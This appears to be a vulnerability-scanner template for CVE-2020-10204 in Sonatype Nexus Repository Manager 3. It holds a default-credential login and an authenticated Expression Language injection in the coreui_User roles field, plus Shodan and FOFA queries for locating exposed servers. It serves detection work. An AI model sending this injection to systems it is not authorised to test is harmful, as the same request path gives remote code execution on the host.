Sonatype Nexus Repository Manager 3 - Remote Code Execution

id: CVE-2020-10204

info:
  name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
  author: mmadersbacher
  severity: high
  description: |
    Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
  impact: |
    Remote code execution on the Nexus Repository Manager host.
  remediation: |
    Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10204
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-10204
    epss-score: 0.25219
    epss-percentile: 0.97762
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: sonatype
    product: nexus
    shodan-query: http.component:"Nexus Repository Manager"
    fofa-query: title="nexus repository manager"
  tags: cve,cve2020,nexus,rce,sonatype,el-injection,intrusive,authenticated

variables:
  username: admin
  password: admin

http:
  - raw:
      - |
        POST /service/rapture/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{base64(username)}}&password={{base64(password)}}

      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        NX-ANTI-CSRF-TOKEN: 1
        X-Nexus-UI: true
        Content-Type: application/json
        Cookie: NX-ANTI-CSRF-TOKEN=1

        {"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nx-admin$\\B{3*3333}"]}],"type":"rpc","tid":11}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "nx-adminB9999"
          - "Missing roles"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201f3f7a218e876534036f97fb3a17b5938d3c8226f973ddfa12f5323b711fe03102204e6f4b6dd7cdca5d581973b2a2951189f5d8dc4c2e918705557ead5dcc850fdb:922c64590222798bb761d5b6d8e72950